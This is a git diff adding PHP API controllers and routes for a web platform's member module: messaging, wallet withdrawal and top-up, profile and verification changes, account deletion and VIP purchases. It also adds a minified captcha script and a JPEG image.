MemberMessageUtil::getUnreadMessageCount(MemberUser::id()), + ]); + } + + public function read() + { + MemberMessageUtil::updateRead(MemberUser::id(), CRUDUtil::ids()); + return Response::generateSuccessData([ + 'unreadMessageCount' => MemberMessageUtil::getUnreadMessageCount(MemberUser::id()), + ]); + } + + public function readAll() + { + MemberMessageUtil::updateReadAll(MemberUser::id()); + return Response::generateSuccess(); + } + + public function deleteAll() + { + MemberMessageUtil::deleteAll(MemberUser::id()); + return Response::generateSuccess(); + } +} diff --git a/module/Member/Api/Controller/MemberMoneyCashController.php b/module/Member/Api/Controller/MemberMoneyCashController.php new file mode 100644 index 00000000..fa183c78 --- /dev/null +++ b/module/Member/Api/Controller/MemberMoneyCashController.php @@ -0,0 +1,138 @@ + $total, + 'desc' => modstart_config('Member_MoneyCashDescription'), + 'min' => sprintf('%0.2f', $min), + 'rate' => modstart_config('Member_MoneyCashTaxRate', 0), + 'types' => TypeUtil::dump(MemberMoneyCashType::class), + 'canCash' => $total >= $min, + 'defaultType' => MemberMoneyCashType::ALIPAY, + ]); + } + + /** + * @return array + * @Api 计算提现金额 + * @ApiBodyParam money float 提现金额 + */ + public function calc() + { + $input = InputPackage::buildFromInput(); + $money = $input->getDecimal('money'); + if ($money < modstart_config('Member_MoneyCashMin', 100)) { + return Response::generateError('最小提现金额为' . modstart_config('Member_MoneyCashMin', 100)); + } + $total = MemberMoneyUtil::getTotal(MemberUser::id()); + if ($money > $total) { + return Response::generateError('余额不足'); + } + $rate = modstart_config('Member_MoneyCashTaxRate', 0); + $rate = 100 - min(max($rate, 0), 99); + $value = bcdiv(bcmul($money, $rate, 2), 100, 2); + return Response::generateSuccessData([ + 'value' => $value, + ]); + } + + /** + * @return array + * @throws \Exception + * @Api 提现提交 + * @ApiBodyParam money float 提现金额 + * @ApiBodyParam type string 提现方式 1支付宝 + * @ApiBodyParam alipayRealname string 支付宝真实姓名 + * @ApiBodyParam alipayAccount string 支付宝账号 + */ + public function submit() + { + if (!modstart_config('Member_MoneyCashEnable', false)) { + return Response::generateError('功能未开启'); + } + $input = InputPackage::buildFromInput(); + $money = $input->getDecimal('money'); + if ($money < 0.01) { + return Response::generate(-1, '提现金额不能为空'); + } + if ($money < modstart_config('Member_MoneyCashMin', 100)) { + return Response::generate(-1, '提现金额至少为' . modstart_config('Member_MoneyCashMin', 100)); + } + $type = $input->getType('type', MemberMoneyCashType::class); + switch ($type) { + case MemberMoneyCashType::ALIPAY: + $alipayRealname = $input->getTrimString('alipayRealname'); + $alipayAccount = $input->getTrimString('alipayAccount'); + if (empty($alipayRealname)) { + return Response::generate(-1, '支付宝姓名不能为空'); + } + if (empty($alipayAccount)) { + return Response::generate(-1, '支付宝账号不能为空'); + } + break; + default: + return Response::generateError('支付类型错误'); + } + $total = MemberMoneyUtil::getTotal(MemberUser::id()); + if ($total < modstart_config('Member_MoneyCashMin', 100)) { + return Response::generate(-1, '当前账户余额不满' . modstart_config('Member_MoneyCashMin', 100) . ',不能提现'); + } + $rate = modstart_config('Member_MoneyCashTaxRate', 0); + $rate = 100 - min(max($rate, 0), 99); + $moneyAfterTax = bcdiv(bcmul($money, $rate, 2), 100, 2); + try { + ModelUtil::transactionBegin(); + MemberMoneyUtil::cash(MemberUser::id(), $money, $moneyAfterTax, MemberMoneyCashType::ALIPAY, $alipayRealname, $alipayAccount); + ModelUtil::transactionCommit(); + } catch (\Exception $e) { + ModelUtil::transactionRollback(); + throw $e; + } + return Response::generate(0, '提交成功', null, modstart_web_url('member_money/cash/log')); + } + + public function log() + { + $input = InputPackage::buildFromInput(); + $option = []; + $paginateData = MemberMoneyUtil::paginateCash( + MemberUser::id(), + $input->getPage(), + $input->getPageSize(), + $option + ); + return Response::generateSuccessPaginate( + $input->getPage(), + $input->getPageSize(), + $paginateData + ); + } +} diff --git a/module/Member/Api/Controller/MemberMoneyChargeController.php b/module/Member/Api/Controller/MemberMoneyChargeController.php new file mode 100644 index 00000000..adcc18e8 --- /dev/null +++ b/module/Member/Api/Controller/MemberMoneyChargeController.php @@ -0,0 +1,40 @@ +getDecimal('money'); + BizException::throwsIf('金额最少为0.01元', $money < 0.01); + BizException::throwsIf('金额最大为1,000,000元', $money > 1000000); + $order = ModelUtil::insert('member_money_charge_order', [ + 'status' => OrderStatus::WAIT_PAY, + 'memberUserId' => MemberUser::id(), + 'money' => $money, + ]); + BizException::throwsIf('请安装 PayCenter 模块', !modstart_module_enabled('PayCenter')); + $payCenterPerform = app(PayCenterPerform::class); + return $payCenterPerform->performSubmitOrder( + MemberMoneyChargePayCenterBiz::NAME, + $order['id'], + $order['money'], + '钱包充值' + ); + } +} diff --git a/module/Member/Api/Controller/MemberMoneyController.php b/module/Member/Api/Controller/MemberMoneyController.php new file mode 100644 index 00000000..97b935fa --- /dev/null +++ b/module/Member/Api/Controller/MemberMoneyController.php @@ -0,0 +1,60 @@ + MemberMoneyUtil::getTotal(MemberUser::id()) + ]); + } + + /** + * @Api 获取用户资金明细 + * @ApiBodyParam search.type string required 类型:income|expense + */ + public function log() + { + $input = InputPackage::buildFromInput(); + $option = []; + $searchInput = $input->getSearchInput(); + $type = $searchInput->getTrimString('type'); + switch ($type) { + case 'income': + $option['whereOperate'] = ['change', '>', '0']; + break; + case 'payout': + $option['whereOperate'] = ['change', '<', '0']; + break; + } + $paginateData = MemberMoneyUtil::paginateLog( + MemberUser::id(), + $input->getPage(), + $input->getPageSize(), + $option + ); + return Response::generateSuccessPaginate( + $input->getPage(), + $input->getPageSize(), + $paginateData + ); + } +} diff --git a/module/Member/Api/Controller/MemberProfileController.php b/module/Member/Api/Controller/MemberProfileController.php new file mode 100644 index 00000000..68c02b41 --- /dev/null +++ b/module/Member/Api/Controller/MemberProfileController.php @@ -0,0 +1,409 @@ +getTrimString('nickname'); + BizException::throwsIfEmpty('昵称为空', $nickname); + if (!CaptchaFacade::check($input->getTrimString('captcha'))) { + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '验证码错误'); + } + $ret = MemberUtil::changeNickname(MemberUser::id(), $nickname); + BizException::throwsIfResponseError($ret); + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'nickname')); + return Response::generate(0, '修改成功', null, '[reload]'); + } + + /** + * @Api 修改密码 + * @ApiBodyParam passwordOld string required 原密码 + * @ApiBodyParam passwordNew string required 新密码 + * @ApiBodyParam passwordRepeat string required 重复新密码 + */ + public function password() + { + $input = InputPackage::buildFromInput(); + $passwordOld = $input->getTrimString('passwordOld'); + $passwordNew = $input->getTrimString('passwordNew'); + $passwordRepeat = $input->getTrimString('passwordRepeat'); + if ($passwordNew != $passwordRepeat) { + return Response::generate(-1, '两次新密码输入不一致'); + } + $memberUser = MemberUser::get(); + if (empty($memberUser['password'])) { + $ret = MemberUtil::changePassword(MemberUser::id(), $passwordNew, null, true); + } else { + $ret = MemberUtil::changePassword(MemberUser::id(), $passwordNew, $passwordOld); + } + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'password')); + return Response::generate(0, '修改成功', null, '[reload]'); + } + + /** + * @Api 修改用户头像 + * @ApiBodyParam avatar string required base64头像 + * @ApiBodyParam type string required 类型,固定为 cropper + */ + public function avatar() + { + $input = InputPackage::buildFromInput(); + $avatar = $input->getTrimString('avatar'); + if (empty($avatar)) { + return Response::generate(-1, '头像内容为空'); + } + switch ($input->getTrimString('type')) { + case 'file': + /** @var UploadedFile $avatarFile */ + $avatarFile = Input::file('avatar'); + BizException::throwsIfEmpty('头像文件为空', $avatarFile); + $ext = FileUtil::mimeToExt($avatarFile->getClientMimeType()); + BizException::throwsIf('头像格式不合法', !in_array($ext, ['jpg', 'png', 'jpeg'])); + $content = file_get_contents($avatarFile->getRealPath()); + BizException::throwsIfEmpty('头像内容为空', $content); + $ret = MemberUtil::setAvatar(MemberUser::id(), $content, $ext); + if ($ret['code']) { + return $ret; + } + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'avatar')); + return Response::generate(0, '保存成功', null, '[reload]'); + case 'cropper': + $avatarType = null; + if (Str::startsWith($avatar, 'data:image/jpeg;base64,')) { + $avatarType = 'jpg'; + $avatar = substr($avatar, strlen('data:image/jpeg;base64,')); + } else if (Str::startsWith($avatar, 'data:image/png;base64,')) { + $avatarType = 'png'; + $avatar = substr($avatar, strlen('data:image/png;base64,')); + } + if (empty($avatarType)) { + return Response::generate(-1, '头像数据为空'); + } + $avatar = @base64_decode($avatar); + if (empty($avatar)) { + return Response::generate(-1, '头像内容为空'); + } + $ret = MemberUtil::setAvatar(MemberUser::id(), $avatar, $avatarType); + if ($ret['code']) { + return $ret; + } + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'avatar')); + return Response::generate(0, '保存成功', null, '[reload]'); + default: + $avatar = FileUtil::savePathToLocalTemp($avatar); + if (empty($avatar)) { + return Response::generate(-1, '读取头像文件失败:-1'); + } + $avatarExt = FileUtil::extension($avatar); + if (!in_array($avatarExt, config('data.upload.image.extensions'))) { + return Response::generate(-1, '头像格式不合法'); + } + $avatar = FileUtil::safeGetContent($avatar); + if (empty($avatar)) { + return Response::generate(-1, '读取头像文件失败:-2'); + } + $ret = MemberUtil::setAvatar(MemberUser::id(), $avatar, $avatarExt); + if ($ret['code']) { + return $ret; + } + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'avatar')); + return Response::generate(0, '保存成功', null, '[reload]'); + } + } + + public function captchaRaw() + { + return CaptchaFacade::create('default'); + } + + /** + * @Api 获取图片验证码(修改手机、修改邮箱) + */ + public function captcha() + { + $captcha = $this->captchaRaw(); + return Response::generate(0, 'ok', [ + 'image' => 'data:image/png;base64,' . base64_encode($captcha->getOriginalContent()), + ]); + } + + public function email() + { + $input = InputPackage::buildFromInput(); + $email = $input->getEmail('email'); + $verify = $input->getTrimString('verify'); + + if (empty($email)) { + return Response::generate(-1, '邮箱不能为空'); + } + if (!FormatUtil::isEmail($email)) { + return Response::generate(-1, '邮箱格式不正确'); + } + if (empty($verify)) { + return Response::generate(-1, '验证码不能为空'); + } + if ($verify != Session::get('memberProfileEmailVerify')) { + return Response::generate(-1, '验证码不正确'); + } + if (Session::get('memberProfileEmailVerifyTime') + 60 * 60 < time()) { + return Response::generate(0, '验证码已过期'); + } + if ($email != Session::get('memberProfileEmail')) { + return Response::generate(-1, '两次邮箱不一致'); + } + $memberUserExists = MemberUtil::getByEmail($email); + if (!empty($memberUserExists)) { + if ($memberUserExists['id'] != MemberUser::id()) { + return Response::generate(-1, '该邮箱已被其他账户绑定'); + } + if ($memberUserExists['id'] == MemberUser::id() && $memberUserExists['email'] == $email) { + if (!empty($memberUserExists['emailVerified'])) { + return Response::generate(-1, '邮箱未修改,无需重新绑定。'); + } + } + } + MemberUtil::update(MemberUser::id(), [ + 'emailVerified' => true, + 'email' => $email, + ]); + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'email')); + Session::forget('memberProfileEmailVerify'); + Session::forget('memberProfileEmailVerifyTime'); + Session::forget('memberProfileEmail'); + return Response::generate(0, '修改成功', null, '[reload]'); + } + + public function emailVerify() + { + $email = Input::get('target'); + if (empty($email)) { + return Response::generate(-1, '邮箱不能为空'); + } + if (!FormatUtil::isEmail($email)) { + return Response::generate(-1, '邮箱格式不正确'); + } + + if (!CaptchaFacade::check(Input::get('captcha'))) { + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '验证码错误'); + } + + $memberUserExists = MemberUtil::getByEmail($email); + if (!empty($memberUserExists)) { + if ($memberUserExists['id'] != MemberUser::id()) { + return Response::generate(-1, '该邮箱已被其他账户绑定'); + } + if ($memberUserExists['id'] == MemberUser::id() && $memberUserExists['email'] == $email) { + if (!empty($memberUserExists['emailVerified'])) { + return Response::generate(-1, '邮箱未修改,无需重新绑定。'); + } + } + } + if (Session::get('memberProfileEmailVerifyTime') && $email == Session::get('memberProfileEmail')) { + if (Session::get('memberProfileEmailVerifyTime') + 60 * 10 > time()) { + return Response::generate(0, '验证码发送成功!'); + } + } + $verify = rand(100000, 999999); + Session::put('memberProfileEmailVerify', $verify); + Session::put('memberProfileEmailVerifyTime', time()); + Session::put('memberProfileEmail', $email); + MailSendJob::create($email, '验证码', 'verify', ['code' => $verify]); + return Response::generate(0, '验证码发送成功'); + } + + /** + * @Api 修改手机号码 + * @ApiBodyParam phone string 手机号码 + * @ApiBodyParam verify string 手机验证码 + */ + public function phone() + { + $input = InputPackage::buildFromInput(); + $phone = $input->getPhone('phone'); + $verify = $input->getTrimString('verify'); + if (empty($phone)) { + return Response::generate(-1, '手机不能为空'); + } + if (!FormatUtil::isPhone($phone)) { + return Response::generate(-1, '手机格式不正确'); + } + if (empty($verify)) { + return Response::generate(-1, '验证码不能为空'); + } + if ($verify != Session::get('memberProfilePhoneVerify')) { + return Response::generate(-1, '验证码不正确'); + } + if (Session::get('memberProfilePhoneVerifyTime') + 60 * 60 < time()) { + return Response::generate(0, '验证码已过期'); + } + if ($phone != Session::get('memberProfilePhone')) { + return Response::generate(-1, '两次手机不一致'); + } + $memberUserExists = MemberUtil::getByPhone($phone); + if (!empty($memberUserExists)) { + if ($memberUserExists['id'] != MemberUser::id()) { + return Response::generate(-1, '该手机已被其他账户绑定'); + } + if ($memberUserExists['id'] == MemberUser::id() && $memberUserExists['phone'] == $phone) { + if (!empty($memberUserExists['phoneVerified'])) { + return Response::generate(-1, '手机号未修改,无需重新绑定。'); + } + } + } + MemberUtil::update(MemberUser::id(), [ + 'phoneVerified' => true, + 'phone' => $phone, + ]); + EventUtil::fire(new MemberUserUpdatedEvent(MemberUser::id(), 'phone')); + Session::forget('memberProfilePhoneVerify'); + Session::forget('memberProfilePhoneVerifyTime'); + Session::forget('memberProfilePhone'); + return Response::generate(0, '修改成功', null, '[reload]'); + } + + /** + * @Api 发送手机验证码 + * @ApiBodyParam target string 手机号码 + * @ApiBodyParam captcha string 图片验证码 + */ + public function phoneVerify() + { + $phone = Input::get('target'); + if (empty($phone)) { + return Response::generate(-1, '手机不能为空'); + } + if (!FormatUtil::isPhone($phone)) { + return Response::generate(-1, '手机格式不正确'); + } + if (!CaptchaFacade::check(Input::get('captcha'))) { + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '图片验证码错误'); + } + $memberUserExists = MemberUtil::getByPhone($phone); + if (!empty($memberUserExists)) { + if ($memberUserExists['id'] != MemberUser::id()) { + return Response::generate(-1, '该手机已被其他账户绑定'); + } + if ($memberUserExists['id'] == MemberUser::id() && $memberUserExists['phone'] == $phone) { + if (!empty($memberUserExists['phoneVerified'])) { + return Response::generate(-1, '手机号未修改,无需重新绑定。'); + } + } + } + + if (Session::get('memberProfilePhoneVerifyTime') && $phone == Session::get('memberProfilePhone')) { + if (Session::get('memberProfilePhoneVerifyTime') + 60 * 2 > time()) { + return Response::generate(0, '验证码发送成功!'); + } + } + $verify = rand(100000, 999999); + Session::put('memberProfilePhoneVerify', $verify); + Session::put('memberProfilePhoneVerifyTime', time()); + Session::put('memberProfilePhone', $phone); + SmsSendJob::create($phone, 'verify', ['code' => $verify]); + return Response::generate(0, '验证码发送成功'); + + } + + public function oauthUnbind() + { + $input = InputPackage::buildFromInput(); + $type = $input->getTrimString('type'); + $oauth = MemberOauth::getOrFail($type); + BizException::throwsIfEmpty('授权方式不存在', $oauth); + $openId = MemberUtil::getOauthOpenId(MemberUser::id(), $oauth->oauthKey()); + if ($openId) { + MemberUtil::forgetOauth($oauth->oauthKey(), $openId); + } + return Response::generate(0, '解绑成功', null, '[reload]'); + } + + public function deleteInfo() + { + if (!modstart_config('Member_DeleteEnable', false)) { + return Response::generateError('注销账号功能未开启'); + } + $memberUser = MemberUser::get(); + $data = []; + $data['deleteAtTime'] = null; + if ($memberUser['deleteAtTime'] > 0) { + $data['deleteAtTime'] = date('Y-m-d H:i:s', $memberUser['deleteAtTime']); + } + $data['registerTime'] = $memberUser['created_at']; + return Response::generateSuccessData($data); + } + + /** + * @Api 账号注销申请 + * @ApiBodyParam agree string 同意协议选项,固定yes + */ + public function delete() + { + if (!modstart_config('Member_DeleteEnable', false)) { + return Response::generateError('注销账号功能未开启'); + } + $memberUser = MemberUser::get(); + if ($memberUser['deleteAtTime'] > 0) { + return Response::generateError('账号正在注销中'); + } + $input = InputPackage::buildFromInput(); + $agree = $input->getTrimString('agree'); + BizException::throwsIf('请勾选同意选项', $agree != 'yes'); + MemberUtil::update(MemberUser::id(), [ + 'deleteAtTime' => time() + TimeUtil::PERIOD_MONTH, + ]); + return Response::generate(0, '申请注销成功', null, '[reload]'); + } + + /** + * @Api 账号注销申请撤销 + */ + public function deleteRevert() + { + if (!modstart_config('Member_DeleteEnable', false)) { + return Response::generateError('注销账号功能未开启'); + } + $memberUser = MemberUser::get(); + if (empty($memberUser['deleteAtTime'])) { + return Response::generateError('账号没有注销操作'); + } + MemberUtil::update(MemberUser::id(), [ + 'deleteAtTime' => 0 + ]); + return Response::generate(0, '撤销操作成功', null, '[reload]'); + } +} diff --git a/module/Member/Api/Controller/MemberVipController.php b/module/Member/Api/Controller/MemberVipController.php new file mode 100644 index 00000000..3f70c630 --- /dev/null +++ b/module/Member/Api/Controller/MemberVipController.php @@ -0,0 +1,149 @@ +getInteger('vipId'); + if (empty($vipId)) { + return Response::generateError('请选择会员类型'); + } + $memberVip = MemberVipUtil::get($vipId); + if (empty($memberVip)) { + return Response::generateError('请选择会员类型'); + } + $priceInfoRet = $this->processCalc(); + if ($priceInfoRet['code']) { + return Response::generateError($priceInfoRet['msg']); + } + $money = $priceInfoRet['data']['price']; + if ($money < 0.01) { + return Response::generateError('支付金额为空0.01'); + } + try { + ModelUtil::transactionBegin(); + $orderParam = []; + if (!empty($priceInfoRet['data']['usedVoucherItems'])) { + $orderParam['voucherItemIds'] = array_column($priceInfoRet['data']['usedVoucherItems'], 'id'); + } + $memberVipOrder = ModelUtil::insert(MemberVipOrder::class, [ + 'status' => OrderStatus::WAIT_PAY, + 'memberUserId' => MemberUser::id(), + 'vipId' => $memberVip['id'], + 'payFee' => $money, + 'expire' => $priceInfoRet['data']['expire'], + 'type' => $priceInfoRet['data']['type'], + 'param' => SerializeUtil::jsonEncode($orderParam), + ]); + if (!empty($priceInfoRet['data']['usedVoucherItems'])) { + MemberVipVoucherBiz::bizer()->processUpdateUsedItemsInTransactionOrFail( + MemberUser::id(), + $priceInfoRet['data']['usedVoucherItems'], + 'MemberVipOrder', + $memberVipOrder['id'] + ); + } + ModelUtil::transactionCommit(); + } catch (BizException $e) { + ModelUtil::transactionRollback(); + return Response::generateError($e->getMessage()); + } catch (\Exception $e) { + ModelUtil::transactionRollback(); + throw $e; + } + $payCenterPerform = app(PayCenterPerform::class); + return $payCenterPerform->performSubmitOrder( + MemberVipPayCenterBiz::NAME, + $memberVipOrder['id'], + $memberVipOrder['payFee'], + '购买会员' + ); + } + + public function calc() + { + $ret = $this->processCalc(); + unset($ret['data']['usedVoucherItems']); + return $ret; + } + + private static function processCalc() + { + $input = InputPackage::buildFromInput(); + if (MemberUser::isNotLogin()) { + return Response::generate(0, 'ok', [ + 'type' => '-', + 'expire' => '-', + 'price' => '-', + ]); + } + $memberVip = MemberVip::get(); + if (empty($vipId)) { + $vipId = $input->getInteger('vipId'); + } + if (empty($vipId)) { + return Response::generateError('请选择会员'); + } + $ret = MemberVipUtil::calcPrice($memberVip ? $memberVip['id'] : 0, MemberUser::get('vipExpire'), $vipId); + if ($ret['code']) { + return Response::generateError($ret['msg']); + } + $data = $ret['data']; + if (modstart_module_enabled('Voucher')) { + $voucherId = $input->getInteger('voucherId'); + if ($voucherId > 0) { + $bizer = MemberVipVoucherBiz::bizer(); + $voucherItems = MemberVipVoucherBiz::listValidForMemberWithItemIds(MemberUser::id(), [$voucherId]); + $voucherItems = $bizer->processFindUsableItems(MemberUser::id(), $voucherItems); + $processResult = $bizer->processComputeItems(MemberUser::id(), $voucherItems, [ + 'price' => $data['price'], + ]); + $data['price'] = $processResult['price']; + $data['usedVoucherItems'] = $processResult['usedVoucherItems']; + } + } + return Response::generateSuccessData($data); + } +} diff --git a/module/Member/Api/routes.php b/module/Member/Api/routes.php new file mode 100644 index 00000000..e6c6c805 --- /dev/null +++ b/module/Member/Api/routes.php @@ -0,0 +1,95 @@ +group([ + 'middleware' => [ + \Module\Member\Middleware\ApiAuthMiddleware::class, + ], +], function () use ($router) { + + $router->match(['post'], 'login', 'AuthController@login'); + $router->match(['post'], 'logout', 'AuthController@logout'); + $router->match(['post'], 'login_captcha', 'AuthController@loginCaptcha'); + $router->match(['post'], 'login_phone', 'AuthController@loginPhone'); + $router->match(['post'], 'login_phone_verify', 'AuthController@loginPhoneVerify'); + $router->match(['post'], 'login_phone_captcha', 'AuthController@loginPhoneCaptcha'); + $router->match(['post'], 'register', 'AuthController@register'); + $router->match(['post'], 'register_email_verify', 'AuthController@registerEmailVerify'); + $router->match(['post'], 'register_phone', 'AuthController@registerPhone'); + $router->match(['post'], 'register_phone_verify', 'AuthController@registerPhoneVerify'); + $router->match(['post'], 'register_captcha', 'AuthController@registerCaptcha'); + $router->match(['post'], 'register_captcha_verify', 'AuthController@registerCaptchaVerify'); + $router->match(['post'], 'retrieve_phone', 'AuthController@retrievePhone'); + $router->match(['post'], 'retrieve_phone_verify', 'AuthController@retrievePhoneVerify'); + $router->match(['post'], 'retrieve_email', 'AuthController@retrieveEmail'); + $router->match(['post'], 'retrieve_email_verify', 'AuthController@retrieveEmailVerify'); + $router->match(['post'], 'retrieve_captcha', 'AuthController@retrieveCaptcha'); + $router->match(['post'], 'retrieve_reset_info', 'AuthController@retrieveResetInfo'); + $router->match(['post'], 'retrieve_reset', 'AuthController@retrieveReset'); + + $router->match(['post'], 'oauth/login', 'AuthController@oauthLogin'); + $router->match(['post'], 'oauth/callback', 'AuthController@oauthCallback'); + $router->match(['post'], 'oauth/try_login', 'AuthController@oauthTryLogin'); + $router->match(['post'], 'oauth/bind_info', 'AuthController@oauthBindInfo'); + $router->match(['post'], 'oauth/bind', 'AuthController@oauthBind'); + $router->match(['post'], 'oauth/bind_captcha', 'AuthController@oauthBindCaptcha'); + $router->match(['post'], 'oauth/bind_captcha_verify', 'AuthController@oauthBindCaptchaVerify'); + $router->match(['post'], 'oauth/bind_phone_verify', 'AuthController@oauthBindPhoneVerify'); + $router->match(['post'], 'oauth/bind_email_verify', 'AuthController@oauthBindEmailVerify'); + + $router->match(['post'], 'sso/client_prepare', 'AuthController@ssoClientPrepare'); + $router->match(['post'], 'sso/client', 'AuthController@ssoClient'); + $router->match(['post'], 'sso/client_logout_prepare', 'AuthController@ssoClientLogoutPrepare'); + $router->match(['post'], 'sso/client_logout', 'AuthController@ssoClientLogout'); + $router->match(['post'], 'sso/server', 'AuthController@ssoServer'); + $router->match(['post'], 'sso/server_success', 'AuthController@ssoServerSuccess'); + $router->match(['post'], 'sso/server_logout', 'AuthController@ssoServerLogout'); + + $router->match(['post'], 'member_profile/password', 'MemberProfileController@password'); + $router->match(['post'], 'member_profile/avatar', 'MemberProfileController@avatar'); + $router->match(['post'], 'member_profile/captcha', 'MemberProfileController@captcha'); + $router->match(['post'], 'member_profile/email', 'MemberProfileController@email'); + $router->match(['post'], 'member_profile/email_verify', 'MemberProfileController@emailVerify'); + $router->match(['post'], 'member_profile/phone', 'MemberProfileController@phone'); + $router->match(['post'], 'member_profile/phone_verify', 'MemberProfileController@phoneVerify'); + $router->match(['post'], 'member_profile/oauth_unbind', 'MemberProfileController@oauthUnbind'); + $router->match(['post'], 'member_profile/delete_info', 'MemberProfileController@deleteInfo'); + $router->match(['post'], 'member_profile/delete', 'MemberProfileController@delete'); + $router->match(['post'], 'member_profile/delete_revert', 'MemberProfileController@deleteRevert'); + $router->match(['post'], 'member_profile/nickname', 'MemberProfileController@nickname'); + + $router->match(['post'], 'member_message', 'MemberMessageController@paginate'); + $router->match(['post'], 'member_message/delete', 'MemberMessageController@delete'); + $router->match(['post'], 'member_message/read', 'MemberMessageController@read'); + $router->match(['post'], 'member_message/read_all', 'MemberMessageController@readAll'); + $router->match(['post'], 'member_message/delete_all', 'MemberMessageController@deleteAll'); + + $router->match(['post'], 'member_vip/get', 'MemberVipController@get'); + $router->match(['post'], 'member_vip/info', 'MemberVipController@info'); + $router->match(['post'], 'member_vip/all', 'MemberVipController@all'); + $router->match(['post'], 'member_vip/calc', 'MemberVipController@calc'); + $router->match(['post'], 'member_vip/buy', 'MemberVipController@buy'); + + $router->match(['post'], 'member_address/all', 'MemberAddressController@all'); + $router->match(['post'], 'member_address/get_default', 'MemberAddressController@getDefault'); + $router->match(['post'], 'member_address/edit', 'MemberAddressController@edit'); + $router->match(['post'], 'member_address/delete', 'MemberAddressController@delete'); + + $router->match(['post'], 'member_data/file_manager/{category}', 'MemberDataController@fileManager'); + + $router->match(['post'], 'member_money/get', 'MemberMoneyController@get'); + $router->match(['post'], 'member_money/log', 'MemberMoneyController@log'); + $router->match(['post'], 'member_money/charge/submit', 'MemberMoneyChargeController@submit'); + $router->match(['post'], 'member_money/cash/get', 'MemberMoneyCashController@get'); + $router->match(['post'], 'member_money/cash/calc', 'MemberMoneyCashController@calc'); + $router->match(['post'], 'member_money/cash/submit', 'MemberMoneyCashController@submit'); + $router->match(['post'], 'member_money/cash/log', 'MemberMoneyCashController@log'); + + $router->match(['post'], 'member_credit/get', 'MemberCreditController@get'); + $router->match(['post'], 'member_credit/log', 'MemberCreditController@log'); + + $router->match(['post'], 'member_favorite/favorite', 'MemberFavoriteController@favorite'); + $router->match(['post'], 'member_favorite/unfavorite', 'MemberFavoriteController@unfavorite'); + + $router->match(['post'], 'member_doc/get', 'MemberDocController@get'); + +}); diff --git a/module/Member/Asset/entry/register.js b/module/Member/Asset/entry/register.js new file mode 100644 index 00000000..4ad5e23d --- /dev/null +++ b/module/Member/Asset/entry/register.js @@ -0,0 +1 @@ +!function(a){var r={};function n(t){if(r[t])return r[t].exports;var e=r[t]={i:t,l:!1,exports:{}};return a[t].call(e.exports,e,e.exports,n),e.l=!0,e.exports}n.m=a,n.c=r,n.d=function(t,e,a){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:a})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var a=Object.create(null);if(n.r(a),Object.defineProperty(a,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(a,r,function(t){return e[t]}.bind(null,r));return a},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p=window.__msCDN+"vendor/Member/",n(n.s=0)}([function(t,e,a){!function(e){window.__memberCheckCaptcha=function(t){t=t||{captcha:e("[name=captcha]").val()},e("[data-captcha-status]").hide().filter("[data-captcha-status=loading]").show(),window.api.base.post(window.__msRoot+"register/captcha_verify",t,function(t){window.api.base.defaultFormCallback(t,{success:function(t){e("[data-captcha-status]").hide().filter("[data-captcha-status=success]").show(),e("[name=captcha]").attr("data-form-process","success")},error:function(t){e("[data-captcha-status]").hide().filter("[data-captcha-status=error]").show(),e("[data-captcha]").click(),e("[name=captcha]").attr("data-form-process","success")}})})}}.call(this,a(1))},function(t,e){t.exports=window.$}]); \ No newline at end of file diff --git a/module/Member/Asset/image/vip_bg.jpeg b/module/Member/Asset/image/vip_bg.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..06b35eb8ba92348f5c3b68ed64b8344475020ce9 GIT binary patch literal 19888 zcmbq(1yo$kv*+LrgS!ktC%9_@LvWV~?(PnO;7$m^U5DTv+#Q0uYk=S$EJ2ri|M%WG zZ};tO0JxVQ;CTfg0f2}5oBrnTe-k3Y z-y8`M5djey2^smHKNK`nWE3E#I%10C~k;jfZ^HHAk)KtMuAK}PvU z$Psd_?uBuCXkheHJSm7=OZdZK`UD2NQS{{Mp)$eIsE ztw)zpfzg%b2Ea!ovWUwP;4MRPqg3)k(edO;Q2|VmkUoMq@&B%%6`&pwkpD@JAkg-6 zk~n>XOe^VzOiLh(oN!4EJ6#_eUT$D5<qsgetd zn7l+g8H#}y8m|K{ucj**DWfKtM<7!d4~}QM^XSe`{i(_9nSV;?F4Qf{Dr8p^+lG;Ux+rBnzrmxB=shur}n;*1z*h+<|7z#+Jc8x4d00?O1ck|w^;(~MaI0Z zkfoF*RVS5TD|(S;3$`*)xOUm<3(p~1WqNO z=qHF+M-{_EV@u;_X(w^PU8;2NBf*1OQC9J~X5gL(RrGhv@rtv+gLLKu{mGxPTVBiO zWgwTKmJ(k2E@*5SI!NKz!CJ;78rOB;FreLZOsqy~ur-|+Qj5iIF8YSmb~nmCwoH^u zFK|YrBQ_rrMBg}Pc1kicO5kW+o8(hBFc;eqYpK3RC2NRbmsN1MsEQ7f2}P8*idV^H zfy}Zn0T2NMh*9DQ#)@h0x?Pau^2L_;*S4WjS88ST3E;W?tb{*z$o>-hL_gt3v8)YrD3NqSXq9AU(;a_sU zdwTBdEKt)00}UboDtN4jNb$O|MER_hoL026Xtc|*xlDL+WpwrQs8hlJiSh#pp1M-vRPjvQwJFwGnsEb1(KW_fg*Cocsp#M*p(savkK~5_2h#U7$-%|m za+XLycPH62iiJtCnm&;kQJ3~pz&CIpV)A0LR+P=lV8$!2shYhaDJ0mk1U6k#WS|XB zVTaaHMqKf*QS$B}?7D&Dnb(vhFe)g2j>b71T<8Zdrd4$%6Vp?D3f9yAaF?-kqm;G_ 